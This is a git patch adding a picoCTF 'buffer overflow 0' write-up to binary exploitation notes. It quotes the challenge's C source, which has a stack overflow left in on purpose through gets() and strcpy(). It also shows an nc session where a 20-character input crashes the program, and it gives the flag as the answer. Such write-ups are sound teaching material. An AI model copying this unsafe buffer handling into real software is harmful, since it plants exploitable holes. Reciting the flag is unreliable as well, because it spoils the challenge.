From 522e05af641739045837fdf684582767af6c7841 Mon Sep 17 00:00:00 2001
From: lucky-vers <vermalucky2004@gmail.com>
Date: Fri, 3 Nov 2023 05:15:54 +0530
Subject: [PATCH] Add buffer overflow 0

---
 Phase 2/02 Binary Exploitation.md | 54 +++++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)

diff --git a/Phase 2/02 Binary Exploitation.md b/Phase 2/02 Binary Exploitation.md
index d1469ed..6511b06 100644
--- a/Phase 2/02 Binary Exploitation.md	
+++ b/Phase 2/02 Binary Exploitation.md	
@@ -3,3 +3,57 @@
 # babygame01
 
 # buffer overflow 0
+
+**Flag:** `picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}`
+
+Here, we have a simple piece of C code that we need to overflow. The relevant code is this
+
+```
+#define FLAGSIZE_MAX 64
+
+char flag[FLAGSIZE_MAX];
+
+void sigsegv_handler(int sig) {
+printf("%s\n", flag);
+fflush(stdout);
+exit(1);
+}
+
+void vuln(char *input){
+char buf2[16];
+strcpy(buf2, input);
+}
+
+int main(int argc, char **argv){
+
+FILE *f = fopen("flag.txt","r");
+if (f == NULL) {
+printf("%s %s", "Please create 'flag.txt' in this directory with your",
+"own debugging flag.\n");
+exit(0);
+}
+
+fgets(flag,FLAGSIZE_MAX,f);
+signal(SIGSEGV, sigsegv_handler); // Set up signal handler
+
+gid_t gid = getegid();
+setresgid(gid, gid, gid);
+
+
+printf("Input: ");
+fflush(stdout);
+char buf1[100];
+gets(buf1);
+vuln(buf1);
+printf("The program will exit now\n");
+return 0;
+}
+```
+
+Here, an input of just over 20 characters is enough for it to overflow and give us the flag.
+
+```
+~ $ nc saturn.picoctf.net 64712
+Input: gbBPmxz01LIlqUWhRTPD
+picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}
+```